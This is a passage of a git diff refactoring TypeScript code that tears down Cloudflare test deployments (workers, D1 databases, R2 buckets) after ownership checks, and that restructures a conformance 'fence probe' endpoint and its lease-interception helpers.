|| snapshot.scenario.failure !== null; const confirmed = refusing @@ -301,25 +300,32 @@ export async function teardownDirectReference(input) { globalCount: disposable ? count : null, exhaustive, }); + // A row whose classifying field is unusable is not evidence of absence, + // so it refuses here. Databases and buckets reach the same refusal one + // step earlier, in the identity and name checks their listings run. const matching = (rows, field) => rows - .map((row) => row[field]) - .filter( - (value) => typeof value === 'string' && value.startsWith(prefix), - ); - const databaseIdentity = (row) => { + .map((row) => { + const value = row?.[field]; + if (typeof value !== 'string') refuse('provider-unavailable'); + return value; + }) + .filter((value) => value.startsWith(prefix)); + const listed = (page, field) => + surface(matching(page.rows, field), page.exhaustive, page.rows.length); + const databaseRowKeys = (row) => { identifier(row.name); return [identifier(row.uuid)]; }; const databases = await inventory( numbered.d1.database.list({ ...selectors, name: prefix }), - databaseIdentity, + databaseRowKeys, bound, ); const allDatabases = disposable ? await inventory( numbered.d1.database.list(selectors), - databaseIdentity, + databaseRowKeys, bound, ) : []; @@ -333,7 +339,11 @@ export async function teardownDirectReference(input) { sdk, selectors, jurisdiction: 'default', + bound, }); + // Both listings are scoped to the zone the bootstrap recorded, so the + // `globalCount` each contributes below covers that zone and not the + // account — the scope `bucketJurisdictions` records for the bucket count. const domains = await singlePage( single.workers.domains.list({ ...selectors, zone_id: zoneId }), ); @@ -344,8 +354,10 @@ export async function teardownDirectReference(input) { try { queues = await singlePage(single.queues.list(selectors)); } catch (error) { - // A 404 states the account carries no queue collection: an empty page - // the provider did not attest. + // A 404 is read as an account that carries no queue collection. No + // provider capture in this repository attests that reading, so the + // empty page it stands in for is recorded `exhaustive: false` and the + // counts below are this reading rather than a page the provider sent. if (!(error instanceof APIError) || error.status !== 404) throw error; queues = { rows: [], exhaustive: false }; } @@ -401,27 +413,11 @@ export async function teardownDirectReference(input) { true, namespaces.length, ), - scripts: surface( - matching(scripts.rows, 'id'), - scripts.exhaustive, - scripts.rows.length, - ), + scripts: listed(scripts, 'id'), buckets: surface(matching(buckets, 'name'), true, buckets.length), - domains: surface( - matching(domains.rows, 'service'), - domains.exhaustive, - domains.rows.length, - ), - routes: surface( - matching(routes.rows, 'script'), - routes.exhaustive, - routes.rows.length, - ), - queues: surface( - matching(queues.rows, 'queue_name'), - queues.exhaustive, - queues.rows.length, - ), + domains: listed(domains, 'service'), + routes: listed(routes, 'script'), + queues: listed(queues, 'queue_name'), }, bucketJurisdictions: ['default'], dispatch, @@ -469,7 +465,8 @@ export async function teardownDirectReference(input) { kind, key, nextPhase, - prepare, + field, + append = false, probe, identity, call, @@ -479,17 +476,26 @@ export async function teardownDirectReference(input) { const pending = teardown?.pending ?? null; if (pending && (pending.kind !== kind || pending.key !== key)) refuse('invalid-state'); + const merged = (settledByReread) => { + const entry = { ...receipt(), ...settlement(settledByReread) }; + return { + ...receipts, + [field]: append ? [...receipts[field], entry] : entry, + }; + }; + // The probe runs first because the identity reads are not + // `probeAbsent`-wrapped: a 404 there refuses instead of settling. if ((await probe()) === 'absent') { - await write({ phase: nextPhase, receipts: receipt(true) }); + // The phase advances even where the probe settles the step: + // `recordTeardown` admits one position at a time, so a phase left + // behind here makes the next write a two-position jump it refuses. + await write({ phase: nextPhase, receipts: merged(true) }); return; } - // Ownership attestation gates every dispatch, not only a resumed one, and - // runs only against a resource the probe has proved present. Steps whose - // probe already establishes identity carry none of their own. - await identity?.(); - // Reads that gate the delete run outside its ambiguity window: a refusal - // here leaves nothing pending because nothing was issued. - await prepare?.(); + // Attestation runs ahead of the pending write. On a first attempt a + // refusal here has issued nothing; on a resume the pending record it + // refuses in front of is the earlier run's. + await identity(); if (!pending) await write({ phase: nextPhase, @@ -504,7 +510,7 @@ export async function teardownDirectReference(input) { settledByReread = true; } if ((await probe()) !== 'absent') refuse('outcome-unknown'); - await write({ receipts: receipt(settledByReread) }); + await write({ receipts: merged(settledByReread) }); }; const ingressProbe = async () => { @@ -515,7 +521,11 @@ export async function teardownDirectReference(input) { return value; }), ); - return seen === 'absent' || observed?.enabled === false + // The same predicate the disable call checks its own answer against: a + // script still reachable on a preview URL carries ingress, whatever + // `enabled` says. + return seen === 'absent' || + (observed?.enabled === false && observed.previews_enabled === false) ? 'absent' : 'present'; }; @@ -523,6 +533,11 @@ export async function teardownDirectReference(input) { probeAbsent(status.workers.scripts.get(script, selectors).asResponse()); const databaseProbe = (uuid) => () => probeAbsent(sdk.d1.database.get(uuid, selectors)); + const databaseIdentity = (uuid, name) => async () => { + const observed = await sdk.d1.database.get(uuid, selectors); + if (observed?.uuid !== uuid || observed.name !== name) + refuse('identity-mismatch'); + }; const objectProbe = (key) => () => probeAbsent( status.r2.buckets.objects @@ -639,6 +654,7 @@ export async function teardownDirectReference(input) { await mutate({ kind: 'disable-reference-ingress', nextPhase: 'ingress', + field: 'ingress', probe: ingressProbe, identity: scriptIdentity, call: async () => { @@ -650,27 +666,30 @@ export async function teardownDirectReference(input) { if (answer?.enabled !== false || answer.previews_enabled !== false) refuse('provider-unavailable'); }, - receipt: (settledByReread) => ({ - ...receipts, - ingress: settlement(settledByReread), - }), + receipt: () => ({}), }); if (!receipts.worker) { + // The attestation lists the secrets; a script the probe already finds + // absent settles without one and records the empty set. let secretNames = []; await mutate({ kind: 'delete-reference-worker', nextPhase: 'worker', + field: 'worker', probe: scriptProbe, - identity: scriptIdentity, - prepare: async () => { - const listed = await singlePage( + identity: async () => { + await scriptIdentity(); + const page = await singlePage( single.workers.scripts.secrets.list(script, selectors), ); - // The complete observed set is what is compared: a name - // `recordableName` rejects is still a secret the script carries. - const observed = listed.rows.map((row) => row.name).sort(); - if (!isDeepStrictEqual(observed, [...REFERENCE_SECRET_NAMES])) + // The observed set is compared whole: a name `recordableName` rejects + // is still a secret the script carries. The comparison is an + // equality, so a page that returned fewer rows than the script holds + // refuses here rather than passing, and the page's own `exhaustive` + // decides nothing. + const observed = page.rows.map((row) => row.name).sort(); + if (!isDeepStrictEqual(observed, [...EXPECTED_SECRET_NAMES])) refuse('identity-mismatch'); secretNames = observed; }, @@ -680,14 +699,7 @@ export async function teardownDirectReference(input) { { ...selectors }, MUTATION_OPTIONS, ), - receipt: (settledByReread) => ({ - ...receipts, - worker: { - scriptName: script, - secretNames, - ...settlement(settledByReread), - }, - }), + receipt: () => ({ scriptName: script, secretNames }), }); } @@ -699,50 +711,56 @@ export async function teardownDirectReference(input) { await mutate({ kind, nextPhase: field, + field, probe: databaseProbe(uuid), - identity: async () => { - const observed = await sdk.d1.database.get(uuid, selectors); - if (observed?.uuid !== uuid || observed.name !== name) - refuse('identity-mismatch'); - }, + identity: databaseIdentity(uuid, name), call: () => settled.d1.database.delete(uuid, selectors, MUTATION_OPTIONS), - receipt: (settledByReread) => ({ - ...receipts, - [field]: { uuid, ...settlement(settledByReread) }, - }), + receipt: () => ({ uuid }), }); } + // The listing carries no `exhaustive`, and needs none: `validateEnvelope` + // refuses a non-empty cursor, so a page that returns at all is the last + // one the provider has. + const listObjects = async (scoped) => + ( + await singlePage( + single.r2.buckets.objects.list(bucket, { + ...selectors, + jurisdiction: 'default', + ...(scoped ? { prefix: `${prefix}/receipts/v1/` } : {}), + }), + ) + ).rows; + const inspect = (rows) => { + for (const row of rows) + if (typeof row?.key !== 'string' || !confirmed.includes(row.key)) + refuse('unexpected-object'); + return rows; + }; if (receipts.exportObjects.length < confirmed.length) { - const listObjects = async (scoped) => - ( - await singlePage( - single.r2.buckets.objects.list(bucket, { - ...selectors, - jurisdiction: 'default', - ...(scoped ? { prefix: `${prefix}/receipts/v1/` } : {}), - }), - ) - ).rows; - const inspect = (rows) => { - for (const row of rows) - if (typeof row?.key !== 'string' || !confirmed.includes(row.key)) - refuse('unexpected-object'); - return rows; - }; + // One attestation for the whole block: the call below proves the bucket, + // and each delete's `identity` reads that same proof. + let attested; + const attestBucket = () => (attested ??= bucketIdentity()); + // Ownership is attested before the content checks, so an unexpected + // object cannot pre-empt the proof that this is the run's own bucket. + // An absent bucket refuses as `provider-unavailable` here exactly as it + // does from the listings. + await attestBucket(); inspect(await listObjects(true)); inspect(await listObjects(false)); - // The listings already prove the bucket present, so this attestation - // needs no probe of its own. - await bucketIdentity(); for (const key of confirmed) { if (receipts.exportObjects.some((entry) => entry.key === key)) continue; await mutate({ kind: 'delete-export-object', key, nextPhase: 'export-objects', + field: 'exportObjects', + append: true, probe: objectProbe(key), + identity: attestBucket, call: () => settled.r2.buckets.objects.delete( key, @@ -753,27 +771,27 @@ export async function teardownDirectReference(input) { }, MUTATION_OPTIONS, ), - receipt: (settledByReread) => ({ - ...receipts, - exportObjects: [ - ...receipts.exportObjects, - { key, ...settlement(settledByReread) }, - ], - }), + receipt: () => ({ key }), }); } + } + + if (!receipts.exports) { + // The empty prefix is owed by the run that deletes the bucket, not by + // the run that issued the object deletes: a resume holding every object + // receipt reads the prefix here rather than inheriting an earlier run's + // reading. Once `exports` is receipted the bucket is gone, so this is + // also the last point at which the listing has anything to address. for (let attempt = 1; attempt <= OBJECT_SETTLE_ATTEMPTS; attempt += 1) { transport.assertBudget(); if (inspect(await listObjects(true)).length === 0) break; if (attempt === OBJECT_SETTLE_ATTEMPTS) refuse('provider-unavailable'); await delay(OBJECT_SETTLE_DELAY_MS); } - } - - if (!receipts.exports) await mutate({ kind: 'delete-export-r2', nextPhase: 'exports', + field: 'exports', probe: bucketProbe, identity: bucketIdentity, call: () => @@ -782,11 +800,9 @@ export async function teardownDirectReference(input) { { ...selectors, jurisdiction: 'default' }, MUTATION_OPTIONS, ), - receipt: (settledByReread) => ({ - ...receipts, - exports: { name: bucket, ...settlement(settledByReread) }, - }), + receipt: () => ({ name: bucket }), }); + } if (phase !== 'residual' && phase !== 'complete') await write({ phase: 'residual' }); diff --git a/packages/fleet-control/scripts/direct-credentialed-tenant-object.d.mts b/packages/fleet-control/scripts/direct-credentialed-tenant-object.d.mts index 088f7997..187783d7 100644 --- a/packages/fleet-control/scripts/direct-credentialed-tenant-object.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-tenant-object.d.mts @@ -3,3 +3,7 @@ export const DIRECT_TENANT_OBJECT_KEY: 'direct-conformance-fixture'; export const DIRECT_TENANT_OBJECT_BODY: 'direct-conformance-fixture-data'; export function directTenantMutationEpoch(release: string | undefined): number; +export function directTenantProbeEpoch( + release: string | undefined, + label: unknown, +): number | undefined; diff --git a/packages/fleet-control/scripts/direct-credentialed-tenant-object.mjs b/packages/fleet-control/scripts/direct-credentialed-tenant-object.mjs index fc73d552..14a0d9c1 100644 --- a/packages/fleet-control/scripts/direct-credentialed-tenant-object.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-tenant-object.mjs @@ -5,7 +5,18 @@ export const DIRECT_TENANT_OBJECT_BODY = 'direct-conformance-fixture-data'; // The caller epoch an artifact of this release carries. Release 2 is the // post-cutover artifact; release 1 predates the activation and is therefore -// stale once the control plane advances the fence. One definition, because §4 C2 -// is precisely a comparison between the tenant's configured value and the +// stale once the control plane advances the fence. One definition, because the +// conformance comparison is between the tenant's configured value and the // fixture's re-derivation of it, and two copies can drift while both lanes pass. export const directTenantMutationEpoch = (release) => (release === '2' ? 1 : 0); + +// The epoch a caller selects for a fence probe, positioned against the host +// epoch above. One definition for the same reason: the tenant Worker and the +// reference fixture answer the same labels from the same release. +export const directTenantProbeEpoch = (release, label) => { + const host = directTenantMutationEpoch(release); + if (label === 'missing') return undefined; + if (label === 'stale') return Math.max(0, host - 1); + if (label === 'future') return host + 1; + return host; +}; diff --git a/packages/fleet-control/scripts/direct-credentialed-tenant.ts b/packages/fleet-control/scripts/direct-credentialed-tenant.ts index 949b8652..6622fe55 100644 --- a/packages/fleet-control/scripts/direct-credentialed-tenant.ts +++ b/packages/fleet-control/scripts/direct-credentialed-tenant.ts @@ -6,7 +6,10 @@ import type { ExportedHandler, R2Bucket, } from '@cloudflare/workers-types'; -import { createActorResolver } from '@proofoftech/flowsafe/approval-api'; +import { + type ActorResolver, + createActorResolver, +} from '@proofoftech/flowsafe/approval-api'; import { DurableObjectRunner, ExecutionFenceStore, @@ -33,6 +36,7 @@ import { DIRECT_TENANT_OBJECT_BODY, DIRECT_TENANT_OBJECT_KEY, directTenantMutationEpoch, + directTenantProbeEpoch, } from './direct-credentialed-tenant-object.mjs'; export interface DirectTenantEnv extends FlowsafeWorkerEnv { @@ -46,6 +50,201 @@ export interface DirectTenantEnv extends FlowsafeWorkerEnv { const DIRECT_FENCE_WORKFLOW = 'direct-fence-probe'; +interface FenceOutcome { + response: Response; + result: { + schedule?: { id?: string }; + pending?: boolean; + reason?: { code: string; classification?: string }; + }; +} + +type FenceRoute = ( + method: string, + suffix: string, + body?: string, +) => Promise; + +async function readFenceBody(request: Request, probe: boolean) { + const input = await readBoundedBody(request, 256); + if (!input.ok) return null; + if (input.text === '') return probe ? null : {}; + let value: unknown; + try { + value = JSON.parse(input.text); + } catch { + return null; + } + if (!value || typeof value !== 'object' || Array.isArray(value)) return null; + return value as Record; +} + +function fenceRoute( + request: Request, + env: DirectTenantEnv, + resolve: ActorResolver, +): FenceRoute { + const router = createScheduleRouter({ + resolve, + store: new D1SchedulesStorage(env.DB), + executionFence: new ExecutionFenceStore(env.DB), + targetPolicy: createScheduleTargetPolicy({ + workflows: [{ id: DIRECT_FENCE_WORKFLOW }], + agents: [], + }), + validateThreadTarget: async () => { + throw new Error('direct fence probe target cannot require a thread'); + }, + }); + return async (method, suffix, body) => { + const routed = new Request(`https://tenant/api/schedules${suffix}`, { + method, + headers: { + authorization: request.headers.get('authorization') ?? '', + 'content-type': 'application/json', + }, + ...(body === undefined ? {} : { body }), + }); + const response = await router(routed); + if (!response) throw new Error('direct fence probe route did not match'); + const result = (await response.json()) as FenceOutcome['result']; + return { response, result }; + }; +} + +const createFenceSchedule = (route: FenceRoute) => + route( + 'POST', + '', + JSON.stringify({ + workflowId: DIRECT_FENCE_WORKFLOW, + cron: '0 0 1 1 *', + status: 'paused', + }), + ); + +const deleteFenceSchedule = (route: FenceRoute, scheduleId: unknown) => + route('DELETE', `/${scheduleId}`); + +// A conformance-only capability, bounded at the point that grants it: this +// resolver is built for `/__direct/fence-probe`, the caller has already passed +// `APP_PROBE_TOKEN`, and the epoch it honours comes from the artifact's own +// release through `directTenantProbeEpoch`, so the request names a position +// against the host epoch rather than a number of its own. `/__direct/fence-mutate` +// runs on the kit's resolver and selects no epoch at all. +function fenceProbeResolver( + env: DirectTenantEnv, + label: unknown, +): ActorResolver { + return createActorResolver({ + authenticate: (candidate) => + candidate.headers.get('authorization') === `Bearer ${env.APP_PROBE_TOKEN}` + ? { id: 'direct-conformance', role: 'admin' } + : undefined, + storeFactory: approvalStoreFactoryFor(env.DB), + mutationEpoch: directTenantProbeEpoch(env.APPLICATION_RELEASE, label), + buildService: () => { + throw new Error('direct fence probe does not request approval'); + }, + }); +} + +function fenceProbeAnswer(label: unknown, { response, result }: FenceOutcome) { + const { reason } = result; + const status = response.status; + if (response.ok) + return Response.json({ epoch: label, classification: 'accepted' }); + if (status === 409 && reason?.code === 'MUTATION_EPOCH_MISMATCH') + return Response.json({ + epoch: label, + classification: reason.classification, + }); + if ( + status === 503 && + (reason?.code === 'EXECUTION_FENCED' || + reason?.code === 'EXECUTION_FENCE_UNREADABLE') + ) + return Response.json({ epoch: label, classification: 'fenced' }); + return Response.json({ + epoch: label, + classification: 'unexpected', + status, + }); +} + +function fenceMutateAnswer({ response, result }: FenceOutcome) { + const { reason } = result; + const status = response.status; + if (response.ok) + return Response.json({ + accepted: true, + ...(result.schedule?.id === undefined + ? {} + : { scheduleId: result.schedule.id }), + ...(result.pending === true ? { pending: true } : {}), + }); + if (reason && typeof reason === 'object' && !Array.isArray(reason)) + return Response.json({ + accepted: false, + code: reason.code, + ...(reason.classification === undefined + ? {} + : { classification: reason.classification }), + status, + }); + return Response.json({ accepted: false, code: 'unexpected', status }); +} + +async function handleFenceProbe(request: Request, env: DirectTenantEnv) { + const parsed = await readFenceBody(request, true); + if (!parsed) return new Response('Invalid body', { status: 400 }); + const label = parsed.epoch; + if ( + label !== 'current' && + label !== 'stale' && + label !== 'missing' && + label !== 'future' + ) + return new Response('Invalid body', { status: 400 }); + const route = fenceRoute(request, env, fenceProbeResolver(env, label)); + const created = await createFenceSchedule(route); + const scheduleId = created.result.schedule?.id; + if (created.response.ok && scheduleId) { + if (!isPathSafeId(scheduleId)) + throw new Error('direct fence probe received an invalid schedule id'); + await deleteFenceSchedule(route, scheduleId); + } + // The probe reports on the create it made; the delete only returns the + // tenant to the state the next label finds. + return fenceProbeAnswer(label, created); +} + +async function handleFenceMutate( + request: Request, + env: DirectTenantEnv, + resolve: ActorResolver, +) { + const parsed = await readFenceBody(request, false); + if (!parsed) return new Response('Invalid body', { status: 400 }); + const phase = parsed.phase === undefined ? 'both' : parsed.phase; + if (phase !== 'both' && phase !== 'create' && phase !== 'delete') + return new Response('Invalid body', { status: 400 }); + if (phase === 'delete' && !isPathSafeId(parsed.scheduleId)) + return new Response('Invalid body', { status: 400 }); + const route = fenceRoute(request, env, resolve); + if (phase === 'delete') + return fenceMutateAnswer( + await deleteFenceSchedule(route, parsed.scheduleId), + ); + const created = await createFenceSchedule(route); + const scheduleId = created.result.schedule?.id; + if (!created.response.ok || !scheduleId || phase === 'create') + return fenceMutateAnswer(created); + if (!isPathSafeId(scheduleId)) + throw new Error('direct fence probe received an invalid schedule id'); + return fenceMutateAnswer(await deleteFenceSchedule(route, scheduleId)); +} + const config: FlowsafeWorkerConfig = { workflows: [], systemPrincipalId: 'direct-conformance', @@ -68,162 +267,11 @@ const config: FlowsafeWorkerConfig = { if (!path.startsWith('/__direct/')) return null; if (!(await kit.resolve(request))) return new Response('Unauthorized', { status: 401 }); - if ( - request.method === 'POST' && - (path === '/__direct/fence-mutate' || path === '/__direct/fence-probe') - ) { - const input = await readBoundedBody(request, 256); - if (!input.ok) return new Response('Invalid body', { status: 400 }); - const probe = path === '/__direct/fence-probe'; - let parsed: Record = {}; - if (input.text === '') { - if (probe) return new Response('Invalid body', { status: 400 }); - } else { - let value: unknown; - try { - value = JSON.parse(input.text); - } catch { - return new Response('Invalid body', { status: 400 }); - } - if (!value || typeof value !== 'object' || Array.isArray(value)) - return new Response('Invalid body', { status: 400 }); - parsed = value as Record; - } - const phase = parsed.phase === undefined ? 'both' : parsed.phase; - const label = parsed.epoch; - if ( - probe - ? label !== 'current' && - label !== 'stale' && - label !== 'missing' && - label !== 'future' - : phase !== 'both' && phase !== 'create' && phase !== 'delete' - ) - return new Response('Invalid body', { status: 400 }); - if (!probe && phase === 'delete' && !isPathSafeId(parsed.scheduleId)) - return new Response('Invalid body', { status: 400 }); - - const host = directTenantMutationEpoch(env.APPLICATION_RELEASE); - const epoch = - label === 'missing' - ? undefined - : label === 'stale' - ? Math.max(0, host - 1) - : label === 'future' - ? host + 1 - : host; - const resolve = probe - ? createActorResolver({ - authenticate: (candidate) => - candidate.headers.get('authorization') === - `Bearer ${env.APP_PROBE_TOKEN}` - ? { id: 'direct-conformance', role: 'admin' } - : undefined, - storeFactory: approvalStoreFactoryFor(env.DB), - mutationEpoch: epoch, - buildService: () => { - throw new Error('direct fence probe does not request approval'); - }, - }) - : kit.resolve; - const store = new D1SchedulesStorage(env.DB); - const fence = new ExecutionFenceStore(env.DB); - const router = createScheduleRouter({ - resolve, - store, - executionFence: fence, - targetPolicy: createScheduleTargetPolicy({ - workflows: [{ id: DIRECT_FENCE_WORKFLOW }], - agents: [], - }), - validateThreadTarget: async () => { - throw new Error('direct fence probe target cannot require a thread'); - }, - }); - const route = async (method: string, suffix: string, body?: string) => { - const routed = new Request(`https://tenant/api/schedules${suffix}`, { - method, - headers: { - authorization: request.headers.get('authorization') ?? '', - 'content-type': 'application/json', - }, - ...(body === undefined ? {} : { body }), - }); - const response = await router(routed); - if (!response) - throw new Error('direct fence probe route did not match'); - const result = (await response.json()) as { - schedule?: { id?: string }; - pending?: boolean; - reason?: { code: string; classification?: string }; - }; - return { response, result }; - }; - const mutation = async () => { - if (!probe && phase === 'delete') - return route('DELETE', `/${parsed.scheduleId}`); - const created = await route( - 'POST', - '', - JSON.stringify({ - workflowId: DIRECT_FENCE_WORKFLOW, - cron: '0 0 1 1 *', - status: 'paused', - }), - ); - const scheduleId = created.result.schedule?.id; - if ( - !created.response.ok || - !scheduleId || - (!probe && phase === 'create') - ) - return created; - if (!isPathSafeId(scheduleId)) - throw new Error('direct fence probe received an invalid schedule id'); - const deleted = await route('DELETE', `/${scheduleId}`); - return probe ? created : deleted; - }; - const { response, result } = await mutation(); - const { reason } = result; - const status = response.status; - if (probe) { - if (response.ok) - return Response.json({ epoch: label, classification: 'accepted' }); - if (status === 409 && reason?.code === 'MUTATION_EPOCH_MISMATCH') - return Response.json({ - epoch: label, - classification: reason.classification, - }); - if ( - status === 503 && - (reason?.code === 'EXECUTION_FENCED' || - reason?.code === 'EXECUTION_FENCE_UNREADABLE') - ) - return Response.json({ epoch: label, classification: 'fenced' }); - return Response.json({ - epoch: label, - classification: 'unexpected', - status, - }); - } - if (response.ok) - return Response.json({ - accepted: true, - ...(result.schedule?.id === undefined - ? {} - : { scheduleId: result.schedule.id }), - ...(result.pending === true ? { pending: true } : {}), - }); - if (reason && typeof reason === 'object' && !Array.isArray(reason)) - return Response.json({ - accepted: false, - code: reason.code, - ...(reason.classification === undefined - ? {} - : { classification: reason.classification }), - status, - }); - return Response.json({ accepted: false, code: 'unexpected', status }); + if (request.method === 'POST') { + if (path === '/__direct/fence-probe') + return handleFenceProbe(request, env); + if (path === '/__direct/fence-mutate') + return handleFenceMutate(request, env, kit.resolve); } if (path === '/__direct/health' && request.method === 'GET') { const row = await env.DB.prepare( diff --git a/packages/fleet-control/scripts/direct-reference-fence.ts b/packages/fleet-control/scripts/direct-reference-fence.ts index 96cd38d7..2ca8c98c 100644 --- a/packages/fleet-control/scripts/direct-reference-fence.ts +++ b/packages/fleet-control/scripts/direct-reference-fence.ts @@ -1,21 +1,37 @@ // SPDX-License-Identifier: Apache-2.0 import type { ExecutionFenceState as FenceState } from '@proofoftech/flowsafe/do-runner'; -import { readBoundedBody } from '@proofoftech/flowsafe/host-kit'; import type { DirectRunManifest } from './direct-credentialed-conformance-preflight.mjs'; import type { DirectReferenceContext } from './direct-reference-context.js'; import type { DirectReferenceAction } from './direct-reference-contract.mjs'; import { DirectReferenceExecutionError } from './direct-reference-http.js'; +import { + decodeDirectJsonObject, + readBoundedDirectResponse, +} from './direct-reference-transport.js'; -type Reading = { +export type DirectFenceReading = { state: FenceState; mutationEpoch: number; requireMutationEpoch: boolean; transitionRevision: number; }; +export type DirectFenceSweep = { + fence: DirectFenceReading; + categories: { category: string; class: string; empty: boolean }[]; + observedAt: number; +}; + +/** The epoch label each probe operation sends to the tenant. */ +const PROBE_EPOCHS = Object.freeze({ + 'probe-missing': 'missing', + 'probe-stale': 'stale', + 'probe-future': 'future', +}); + type FenceTransitionResult = - | { ok: true; after: Reading } + | { ok: true; after: DirectFenceReading } | { ok: false; reason: { @@ -61,7 +77,7 @@ function text(value: unknown): string { return value; } -function reading(value: Record): Reading { +function reading(value: Record): DirectFenceReading { return { state: state(value.state), mutationEpoch: counter(value.mutationEpoch), @@ -118,80 +134,32 @@ export async function dispatchDirectFence( if (!spec.routeHostname) throw new DirectReferenceExecutionError(); const { operation } = action; const application = - operation === 'mutate-current' || operation.startsWith('probe-'); + operation === 'mutate-current' || Object.hasOwn(PROBE_EPOCHS, operation); const secrets = context.secrets(action.role); - const token = application + const supplied = application ? secrets.application?.APP_PROBE_TOKEN : secrets.maintenanceAdmin; - if (typeof token !== 'string' || !token) + if (typeof supplied !== 'string' || !supplied) throw new DirectReferenceExecutionError(); + const token: string = supplied; async function request(path: string, body?: unknown) { - const url = new URL(path, `https://${spec.routeHostname}`); - const cleanup = new AbortController(); - const signal = AbortSignal.any([ - invocationSignal, - cleanup.signal, - AbortSignal.timeout(context.transport.effectiveRequestTimeoutMs), - ]); - let response: Response | undefined; - let bodySettled: Promise | undefined; - try { - const fetch = application + const { status, text: encoded } = await readBoundedDirectResponse({ + fetch: application ? context.transport.applicationFetch - : context.transport.maintenanceFetch; - response = await fetch(url, { - method: body === undefined ? 'GET' : 'POST', - headers: { - authorization: `Bearer ${token}`, - ...(body === undefined ? {} : { 'content-type': 'application/json' }), - }, - ...(body === undefined ? {} : { body: JSON.stringify(body) }), - signal, - }); - const media = response.headers - .get('content-type') - ?.split(';')[0] - ?.trim() - .toLowerCase(); - if ( - (response.status !== 200 && - !( - response.status === 409 && - (operation === 'drain' || operation === 'reopen') - )) || - media !== 'application/json' - ) - throw new DirectReferenceExecutionError(); - const stream = new TransformStream(); - bodySettled = response.body - ?.pipeTo(stream.writable, { signal }) - .catch(() => undefined); - const bodyInit = { - method: 'POST', - headers: response.headers, - body: response.body ? stream.readable : undefined, - signal, - duplex: 'half' as const, - }; - const bounded = await readBoundedBody( - new Request(url, bodyInit), - operation === 'inventory' ? 65536 : 4096, - ); - if (!bounded.ok) throw new DirectReferenceExecutionError(); - let decoded: unknown; - try { - decoded = JSON.parse(bounded.text); - } catch { - throw new DirectReferenceExecutionError(); - } - return { status: response.status, value: object(decoded) }; - } finally { - cleanup.abort(); - await bodySettled; - if (response && !response.bodyUsed && !response.body?.locked) - await response.body?.cancel().catch(() => undefined); - } + : context.transport.maintenanceFetch, + url: new URL(path, `https://${spec.routeHostname}`), + method: body === undefined ? 'GET' : 'POST', + token, + body, + acceptStatuses: + operation === 'drain' || operation === 'reopen' ? [200, 409] : [200], + mediaType: 'application/json', + byteLimit: operation === 'inventory' ? 65536 : 4096, + invocationSignal, + requestTimeoutMs: context.transport.effectiveRequestTimeoutMs, + }); + return { status, value: decodeDirectJsonObject(encoded) }; } if (operation === 'read') @@ -222,7 +190,7 @@ export async function dispatchDirectFence( const index = (await request('/admin/inventory')).value; if (!Array.isArray(index.categories)) throw new DirectReferenceExecutionError(); - const categories = []; + const categories: DirectFenceSweep['categories'] = []; for (const entry of index.categories) { const descriptor = object(entry); const category = text(descriptor.category); @@ -256,8 +224,15 @@ export async function dispatchDirectFence( ...(value.status === undefined ? {} : { status: counter(value.status) }), }; } - const epoch = operation.slice('probe-'.length); + if ( + operation !== 'probe-missing' && + operation !== 'probe-stale' && + operation !== 'probe-future' + ) + throw new DirectReferenceExecutionError(); + const epoch = PROBE_EPOCHS[operation]; const { value } = await request('/__direct/fence-probe', { epoch }); + const classification = text(value.classification); if ( value.epoch !== epoch || ![ @@ -267,12 +242,12 @@ export async function dispatchDirectFence( 'future', 'fenced', 'unexpected', - ].includes(text(value.classification)) + ].includes(classification) ) throw new DirectReferenceExecutionError(); return { epoch, - classification: value.classification, + classification, ...(value.status === undefined ? {} : { status: counter(value.status) }), }; } diff --git a/packages/fleet-control/scripts/direct-reference-force.ts b/packages/fleet-control/scripts/direct-reference-force.ts index 4ba3b228..913fd9f2 100644 --- a/packages/fleet-control/scripts/direct-reference-force.ts +++ b/packages/fleet-control/scripts/direct-reference-force.ts @@ -210,37 +210,63 @@ async function readBefore(context: DirectReferenceContext) { return { identity, resource }; } +type ForcePlane = ReturnType; + +/** + * Refuses a lease on any deployment but `tenantTag`/`environment`, and hands + * `capture` the record read under the held lease before the caller's own + * operation runs. + */ +function interceptDeploymentLease( + plane: ForcePlane, + tenantTag: string, + environment: string, + capture: ( + record: FleetRecord | undefined, + lease: FleetStateLease, + ) => Promise, +): void { + const underLease = plane.store.withDeploymentLease.bind(plane.store); + plane.store.withDeploymentLease = ( + leasedTag, + leasedEnvironment, + operation, + ) => { + if (leasedTag !== tenantTag || leasedEnvironment !== environment) + throw new DirectReferenceExecutionError(); + return underLease(leasedTag, leasedEnvironment, async (lease) => { + await capture(await plane.store.get(leasedTag, leasedEnvironment), lease); + return operation(lease); + }); + }; +} + export async function forceDirectTerminal( context: DirectReferenceContext, manifest: DirectRunManifest, role: 'a', -) { +): Promise<{ + returned: true; + before: { databaseId: string; scriptName: string } | null; + after: { present: false }; +}> { const names = manifest.names.roles[role]; const plane = context.createForcePlane(); - const underLease = plane.store.withDeploymentLease.bind(plane.store); let before: { databaseId: string; scriptName: string } | null = null; - plane.store.withDeploymentLease = (tenantTag, environment, operation) => { - if (tenantTag !== names.tenantTag || environment !== manifest.environment) - throw new DirectReferenceExecutionError(); - return underLease(tenantTag, environment, async (lease) => { - const record = await plane.store.get(tenantTag, environment); - if (record) { - if ( - record.phase !== 'decommissioned' || - (record.decommissionIntent && - record.decommissionIntent.state !== 'complete') || - record.cleanupIntent || - context.roleFor(record) !== role - ) - throw new DirectReferenceExecutionError(); - before = { - databaseId: record.databaseId, - scriptName: record.scriptName, - }; - } - return operation(lease); - }); - }; + interceptDeploymentLease( + plane, + names.tenantTag, + manifest.environment, + async (record) => { + if (!record) return; + if (record.phase !== 'decommissioned' || context.roleFor(record) !== role) + throw new DirectReferenceExecutionError(); + before = { + databaseId: record.databaseId, + scriptName: record.scriptName, + }; + }, + ); await forceDecommissionDeployment({ backend: plane.backend, store: plane.store, @@ -258,7 +284,6 @@ export async function recoverDirectForce( ) { const names = manifest.names.roles.recovery; const plane = context.createForcePlane(); - const underLease = plane.store.withDeploymentLease.bind(plane.store); let observed: Awaited>; const capture = async ( record: FleetRecord | undefined, @@ -344,14 +369,12 @@ export async function recoverDirectForce( await lease.assertOwned(); context.transport.assertWithinBudget(); }; - plane.store.withDeploymentLease = (tenantTag, environment, operation) => { - if (tenantTag !== names.tenantTag || environment !== manifest.environment) - throw new DirectReferenceExecutionError(); - return underLease(tenantTag, environment, async (lease) => { - await capture(await plane.store.get(tenantTag, environment), lease); - return operation(lease); - }); - }; + interceptDeploymentLease( + plane, + names.tenantTag, + manifest.environment, + capture, + ); await 